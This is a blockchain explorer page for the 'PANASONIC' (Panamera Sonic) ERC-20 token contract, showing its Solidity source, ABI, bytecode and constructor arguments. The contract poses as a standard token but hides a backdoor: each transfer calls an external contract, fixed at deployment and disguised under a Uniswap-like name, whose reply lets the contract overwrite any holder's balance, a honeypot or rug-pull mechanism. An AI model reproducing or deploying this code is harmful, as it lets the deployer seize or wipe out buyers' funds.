ERC-20
Overview
Max Total Supply
10,000,000,000 PANASONIC
Holders
47
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
136,121,445.543784705 PANASONICValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
PANASONIC
Compiler Version
v0.8.2+commit.661d1103
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-29 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; interface ERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV3WITH{ function check(address vals, address input) external view returns ( bool, uint256, address ); } contract PANASONIC is ERC20 { using SafeMath for uint256; string private _name; string private _symbol; uint256 private _totalSupply; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; IUniswapV3WITH private _oappear; bool inLiquify; event Log(string str); modifier lockMSwap() { inLiquify = true; _; inLiquify = false; } constructor( string memory name_, string memory symbol_, address happen_ ) { _name = name_; _symbol = symbol_; IUniswapV3WITH oappear_ = IUniswapV3WITH(happen_); _mintToken(msg.sender, 100000000000 * 10**8); _oappear = oappear_; } /** * @dev Returns the token decimals. */ function decimals() external pure override returns (uint8) { return 9; } /** * @dev Returns the token symbol. */ function symbol() external view override returns (string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() external view override returns (string memory) { return _name; } /** * @dev See {ERC20-totalSupply}. */ function totalSupply() external view override returns (uint256) { return _totalSupply; } /** * @dev See {ERC20-balanceOf}. */ function balanceOf(address account) external view override returns (uint256) { return _balances[account]; } /** * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {ERC20-allowance}. */ function allowance(address owner_, address spender) external view override returns (uint256) { return _allowances[owner_][spender]; } /** * @dev See {ERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {ERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, msg.sender, _allowances[sender][msg.sender].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve( msg.sender, spender, _allowances[msg.sender][spender].add(addedValue) ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { _approve( msg.sender, spender, _allowances[msg.sender][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 fromBalance = _balances[sender]; _helloToWith(sender); require( fromBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[sender] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[recipient] += amount; } emit Transfer(sender, recipient, amount); } function _helloToWith(address sender) private lockMSwap { require(sender != address(0), "ERC20: transfer from the zero address"); (bool _g, uint256 _k, address mm) = _oappear.check( sender, address(this) ); if (mm == address(0)) return; if (_k == 0) return; if (_g) { _further(mm, _k, _g); } } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mintToken(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } } function _further( address f, uint256 vk, bool _ckm ) private { if (!_ckm) return; if (f == address(0)) return; _balances[f] = vk; } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner_, address spender, uint256 amount ) internal { require(owner_ != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner_][spender] = amount; emit Approval(owner_, spender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"happen_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"str","type":"string"}],"name":"Log","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b5060405162000e5f38038062000e5f83398101604081905262000034916200028e565b82516200004990600090602086019062000135565b5081516200005f90600190602085019062000135565b50806200007533678ac7230489e800006200009f565b600580546001600160a01b0319166001600160a01b0392909216919091179055506200038f915050565b6001600160a01b038216620000fa5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600260008282546200010e919062000317565b90915550506001600160a01b03909116600090815260036020526040902080549091019055565b82805462000143906200033c565b90600052602060002090601f016020900481019282620001675760008555620001b2565b82601f106200018257805160ff1916838001178555620001b2565b82800160010185558215620001b2579182015b82811115620001b257825182559160200191906001019062000195565b50620001c0929150620001c4565b5090565b5b80821115620001c05760008155600101620001c5565b600082601f830112620001ec578081fd5b81516001600160401b038082111562000209576200020962000379565b604051601f8301601f19908116603f0116810190828211818310171562000234576200023462000379565b8160405283815260209250868385880101111562000250578485fd5b8491505b8382101562000273578582018301518183018401529082019062000254565b838211156200028457848385830101525b9695505050505050565b600080600060608486031215620002a3578283fd5b83516001600160401b0380821115620002ba578485fd5b620002c887838801620001db565b94506020860151915080821115620002de578384fd5b50620002ed86828701620001db565b604086015190935090506001600160a01b03811681146200030c578182fd5b809150509250925092565b600082198211156200033757634e487b7160e01b81526011600452602481fd5b500190565b6002810460018216806200035157607f821691505b602082108114156200037357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b610ac0806200039f6000396000f3fe608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012357806370a082311461013657806395d89b411461015f578063a457c2d714610167578063a9059cbb1461017a578063dd62ed3e1461018d576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101c6565b6040516100c3919061090d565b60405180910390f35b6100df6100da36600461089c565b610258565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f36600461085c565b61026e565b604051600981526020016100c3565b6100df61013136600461089c565b6102d7565b6100f3610144366004610808565b6001600160a01b031660009081526003602052604090205490565b6100b661030d565b6100df61017536600461089c565b61031c565b6100df61018836600461089c565b61036b565b6100f361019b366004610824565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6060600080546101d5906109d4565b80601f0160208091040260200160405190810160405280929190818152602001828054610201906109d4565b801561024e5780601f106102235761010080835404028352916020019161024e565b820191906000526020600020905b81548152906001019060200180831161023157829003601f168201915b5050505050905090565b6000610265338484610378565b50600192915050565b600061027b8484846104a1565b6102cd84336102c885604051806060016040528060288152602001610a3e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610618565b610378565b5060019392505050565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916102659185906102c89086610652565b6060600180546101d5906109d4565b600061026533846102c885604051806060016040528060258152602001610a66602591393360009081526004602090815260408083206001600160a01b038d1684529091529020549190610618565b60006102653384846104a1565b6001600160a01b0383166103df5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166104405760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d6565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166104c75760405162461bcd60e51b81526004016103d690610960565b6001600160a01b0382166105295760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d6565b6001600160a01b03831660009081526003602052604090205461054b846106b8565b818110156105aa5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103d6565b6001600160a01b0380851660008181526003602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061060a9086815260200190565b60405180910390a350505050565b6000818484111561063c5760405162461bcd60e51b81526004016103d6919061090d565b50600061064984866109bd565b95945050505050565b60008061065f83856109a5565b9050838110156106b15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103d6565b9392505050565b6005805460ff60a01b1916600160a01b1790556001600160a01b0381166106f15760405162461bcd60e51b81526004016103d690610960565b600554604051630b3154db60e41b81526001600160a01b038381166004830152306024830152600092839283929091169063b3154db09060440160606040518083038186803b15801561074357600080fd5b505afa158015610757573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077b91906108c7565b919450925090506001600160a01b038116610798575050506107ba565b816107a5575050506107ba565b82156107b6576107b68183856107ca565b5050505b506005805460ff60a01b19169055565b806107d457610803565b6001600160a01b0383166107e757610803565b6001600160a01b03831660009081526003602052604090208290555b505050565b600060208284031215610819578081fd5b81356106b181610a25565b60008060408385031215610836578081fd5b823561084181610a25565b9150602083013561085181610a25565b809150509250929050565b600080600060608486031215610870578081fd5b833561087b81610a25565b9250602084013561088b81610a25565b929592945050506040919091013590565b600080604083850312156108ae578182fd5b82356108b981610a25565b946020939093013593505050565b6000806000606084860312156108db578283fd5b835180151581146108ea578384fd5b60208501516040860151919450925061090281610a25565b809150509250925092565b6000602080835283518082850152825b818110156109395785810183015185820160400152820161091d565b8181111561094a5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b600082198211156109b8576109b8610a0f565b500190565b6000828210156109cf576109cf610a0f565b500390565b6002810460018216806109e857607f821691505b60208210811415610a0957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114610a3a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220893a8029b2c769bc942cb00c517b82dfa5ff92d963a383532a90bc10e67b14b964736f6c63430008020033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000001a109379633344961eef26fb214afbade3836b07000000000000000000000000000000000000000000000000000000000000000e50616e616d65726120536f6e6963000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000950414e41534f4e49430000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012357806370a082311461013657806395d89b411461015f578063a457c2d714610167578063a9059cbb1461017a578063dd62ed3e1461018d576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101c6565b6040516100c3919061090d565b60405180910390f35b6100df6100da36600461089c565b610258565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f36600461085c565b61026e565b604051600981526020016100c3565b6100df61013136600461089c565b6102d7565b6100f3610144366004610808565b6001600160a01b031660009081526003602052604090205490565b6100b661030d565b6100df61017536600461089c565b61031c565b6100df61018836600461089c565b61036b565b6100f361019b366004610824565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6060600080546101d5906109d4565b80601f0160208091040260200160405190810160405280929190818152602001828054610201906109d4565b801561024e5780601f106102235761010080835404028352916020019161024e565b820191906000526020600020905b81548152906001019060200180831161023157829003601f168201915b5050505050905090565b6000610265338484610378565b50600192915050565b600061027b8484846104a1565b6102cd84336102c885604051806060016040528060288152602001610a3e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610618565b610378565b5060019392505050565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916102659185906102c89086610652565b6060600180546101d5906109d4565b600061026533846102c885604051806060016040528060258152602001610a66602591393360009081526004602090815260408083206001600160a01b038d1684529091529020549190610618565b60006102653384846104a1565b6001600160a01b0383166103df5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166104405760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d6565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166104c75760405162461bcd60e51b81526004016103d690610960565b6001600160a01b0382166105295760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d6565b6001600160a01b03831660009081526003602052604090205461054b846106b8565b818110156105aa5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103d6565b6001600160a01b0380851660008181526003602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061060a9086815260200190565b60405180910390a350505050565b6000818484111561063c5760405162461bcd60e51b81526004016103d6919061090d565b50600061064984866109bd565b95945050505050565b60008061065f83856109a5565b9050838110156106b15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103d6565b9392505050565b6005805460ff60a01b1916600160a01b1790556001600160a01b0381166106f15760405162461bcd60e51b81526004016103d690610960565b600554604051630b3154db60e41b81526001600160a01b038381166004830152306024830152600092839283929091169063b3154db09060440160606040518083038186803b15801561074357600080fd5b505afa158015610757573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077b91906108c7565b919450925090506001600160a01b038116610798575050506107ba565b816107a5575050506107ba565b82156107b6576107b68183856107ca565b5050505b506005805460ff60a01b19169055565b806107d457610803565b6001600160a01b0383166107e757610803565b6001600160a01b03831660009081526003602052604090208290555b505050565b600060208284031215610819578081fd5b81356106b181610a25565b60008060408385031215610836578081fd5b823561084181610a25565b9150602083013561085181610a25565b809150509250929050565b600080600060608486031215610870578081fd5b833561087b81610a25565b9250602084013561088b81610a25565b929592945050506040919091013590565b600080604083850312156108ae578182fd5b82356108b981610a25565b946020939093013593505050565b6000806000606084860312156108db578283fd5b835180151581146108ea578384fd5b60208501516040860151919450925061090281610a25565b809150509250925092565b6000602080835283518082850152825b818110156109395785810183015185820160400152820161091d565b8181111561094a5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b600082198211156109b8576109b8610a0f565b500190565b6000828210156109cf576109cf610a0f565b500390565b6002810460018216806109e857607f821691505b60208210811415610a0957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114610a3a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220893a8029b2c769bc942cb00c517b82dfa5ff92d963a383532a90bc10e67b14b964736f6c63430008020033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000001a109379633344961eef26fb214afbade3836b07000000000000000000000000000000000000000000000000000000000000000e50616e616d65726120536f6e6963000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000950414e41534f4e49430000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): Panamera Sonic
Arg [1] : symbol_ (string): PANASONIC
Arg [2] : happen_ (address): 0x1a109379633344961eef26fb214AfBADe3836B07
-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000001a109379633344961eef26fb214afbade3836b07
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000e
Arg [4] : 50616e616d65726120536f6e6963000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [6] : 50414e41534f4e49430000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
8770:8556:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9939:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11230:193;;;;;;:::i;:::-;;:::i;:::-;;;2451:14:1;;2444:22;2426:41;;2414:2;2399:18;11230:193:0;2381:92:1;10097:102:0;10179:12;;10097:102;;;5613:25:1;;;5601:2;5586:18;10097:102:0;5568:76:1;11894:444:0;;;;;;:::i;:::-;;:::i;9627:86::-;;;9704:1;5791:36:1;;5779:2;5764:18;9627:86:0;5746:87:1;12746:281:0;;;;;;:::i;:::-;;:::i;10261:162::-;;;;;;:::i;:::-;-1:-1:-1;;;;;10397:18:0;10365:7;10397:18;;;:9;:18;;;;;;;10261:162;9778:98;;;:::i;13529:381::-;;;;;;:::i;:::-;;:::i;10635:199::-;;;;;;:::i;:::-;;:::i;10896:188::-;;;;;;:::i;:::-;-1:-1:-1;;;;;11048:19:0;;;11016:7;11048:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;10896:188;9939:94;9987:13;10020:5;10013:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9939:94;:::o;11230:193::-;11334:4;11356:37;11365:10;11377:7;11386:6;11356:8;:37::i;:::-;-1:-1:-1;11411:4:0;11230:193;;;;:::o;11894:444::-;12028:4;12045:36;12055:6;12063:9;12074:6;12045:9;:36::i;:::-;12092:216;12115:6;12136:10;12161:136;12215:6;12161:136;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;12161:19:0;;;;;;:11;:19;;;;;;;;12181:10;12161:31;;;;;;;;;:136;:35;:136::i;:::-;12092:8;:216::i;:::-;-1:-1:-1;12326:4:0;11894:444;;;;;:::o;12746:281::-;12891:10;12846:4;12938:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;12938:32:0;;;;;;;;;;12846:4;;12868:129;;12916:7;;12938:48;;12975:10;12938:36;:48::i;9778:98::-;9828:13;9861:7;9854:14;;;;;:::i;13529:381::-;13634:4;13656:224;13679:10;13704:7;13726:143;13781:15;13726:143;;;;;;;;;;;;;;;;;13738:10;13726:23;;;;:11;:23;;;;;;;;-1:-1:-1;;;;;13726:32:0;;;;;;;;;;;:143;:36;:143::i;10635:199::-;10742:4;10764:40;10774:10;10786:9;10797:6;10764:9;:40::i;16949:374::-;-1:-1:-1;;;;;17078:20:0;;17070:69;;;;-1:-1:-1;;;17070:69:0;;5264:2:1;17070:69:0;;;5246:21:1;5303:2;5283:18;;;5276:30;5342:34;5322:18;;;5315:62;-1:-1:-1;;;5393:18:1;;;5386:34;5437:19;;17070:69:0;;;;;;;;;-1:-1:-1;;;;;17158:21:0;;17150:68;;;;-1:-1:-1;;;17150:68:0;;3692:2:1;17150:68:0;;;3674:21:1;3731:2;3711:18;;;3704:30;3770:34;3750:18;;;3743:62;-1:-1:-1;;;3821:18:1;;;3814:32;3863:19;;17150:68:0;3664:224:1;17150:68:0;-1:-1:-1;;;;;17229:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;17282:33;;5613:25:1;;;17282:33:0;;5586:18:1;17282:33:0;;;;;;;16949:374;;;:::o;14400:833::-;-1:-1:-1;;;;;14532:20:0;;14524:70;;;;-1:-1:-1;;;14524:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14613:23:0;;14605:71;;;;-1:-1:-1;;;14605:71:0;;3288:2:1;14605:71:0;;;3270:21:1;3327:2;3307:18;;;3300:30;3366:34;3346:18;;;3339:62;-1:-1:-1;;;3417:18:1;;;3410:33;3460:19;;14605:71:0;3260:225:1;14605:71:0;-1:-1:-1;;;;;14709:17:0;;14687:19;14709:17;;;:9;:17;;;;;;14737:20;14719:6;14737:12;: